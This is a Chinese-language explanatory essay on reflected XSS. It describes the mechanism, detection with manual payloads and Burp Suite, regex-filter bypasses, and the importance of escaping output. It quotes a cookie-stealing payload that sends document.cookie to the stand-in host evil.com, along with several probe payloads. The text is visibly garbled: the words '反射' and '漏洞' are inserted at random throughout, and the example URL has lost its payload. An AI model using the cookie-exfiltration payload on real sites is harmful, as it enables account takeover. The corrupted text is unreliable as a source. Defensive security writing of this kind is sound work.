反射型xss漏洞

凌晨两点，反射某安全论坛的漏洞私信提示音把我从代码里拽出来。发信人是反射个刚入行的实习生，附上一段URL：https://example.com/search?漏洞q=。他说这串payload在地址栏里弹了窗，反射但自己完全想不通——明明只是漏洞把关键词回显到页面上，怎么就成了漏洞？反射

反射型XSS就是这么个东西。它不像SQL注入那样直白地跟数据库打交道，漏洞也不像文件上传漏洞那样有个实体的反射“壳”可以摸。它藏在参数里，漏洞藏在搜索框的反射回显文字中，藏在URL末尾那个不起眼的漏洞id=后面。攻击者把恶意脚本塞进链接，反射受害者点开，漏洞脚本就在受害者的反射浏览器里跑起来。整个过程像一场精心设计的骗局：你以为是访问某个网站，其实是替攻击者执行了他的命令。

最讽刺的是，这种漏洞的触发条件极其简单。服务端没做过滤或编码，直接把用户输入拼进HTML响应。哪怕只是少了htmlspecialchars()这么一层防护，整条链就通了。我见过某电商平台的搜索建议接口，参数keyword的值原封不动出现在<b>标签里，攻击者构造一个<img src=x onerror=document.location='http://evil.com/?cookie='+document.cookie>，用户一搜，cookie就飞走了。账号被盗，积分被换，收货地址被改——全因为一个没转义的引号。

有人觉得反射型XSS不如存储型“高级”，因为需要诱导用户点击链接。可现实里，短链接服务、二维码、邮件里的“点击查看详情”，哪个不是现成的传播渠道？我甚至见过攻击者把恶意链接伪装成.pdf后缀，骗过不少人的第一道心理防线。反射型XSS的杀伤力不在“持久”，而在“精准”——它像一把手术刀，专门针对某个信任该站点的人下手。

检测这类漏洞不需要多高深的技术。手工测就是往参数里塞<script>、<svg/onload>，看浏览器反应。自动化工具更省事，Burp Suite的扫描器扫一圈，高危项里常常躺着好几个反射型XSS。可真正让人头疼的是修复后的回归测试——开发者以为加了个正则就万事大吉，结果攻击者用<img src=x onerror=alert(1)>绕过，因为正则只拦了script标签。这种猫鼠游戏每天都在上演。

前两天看一个众测报告，白帽子提交了个反射型XSS，危害评级只有“中危”。厂商回复“已忽略”，理由是“需要用户交互，且影响范围有限”。我不太认同这个判断。在钓鱼邮件泛滥的今天，诱导点击一个链接的成本低到可以忽略不计。真正该被质疑的是那个开发者的编码习惯——他大概从来没想过，输入框里敲进去的每个字符，都可能成为攻击者的弹药。

写代码时多写一行转义函数，比事后打补丁省事得多。可现实里，总有人觉得“这个页面是内部系统，没人会攻击”。直到某天，某个员工在办公电脑上点开一条“工资条查询”的链接，攻击者用反射型XSS拿到了内网会话，横向移动进财务系统——到那时才想起修复，代价就不止是改几行代码了。